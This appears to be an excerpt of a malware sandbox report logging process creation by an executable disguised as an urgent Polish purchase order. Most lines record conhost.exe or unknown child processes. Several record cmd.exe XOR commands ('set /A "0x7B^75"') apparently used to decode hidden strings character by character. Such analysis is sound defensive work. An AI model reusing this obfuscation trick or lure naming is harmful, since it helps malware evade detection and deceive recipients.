            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x67^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x0E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7F^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x22^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x71^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x39^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x26^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x7F^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x3B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x6B^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x05^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /A "0x2E^75"Jump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
            Source: C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exeProcess created: unknown unknownJump to behavior
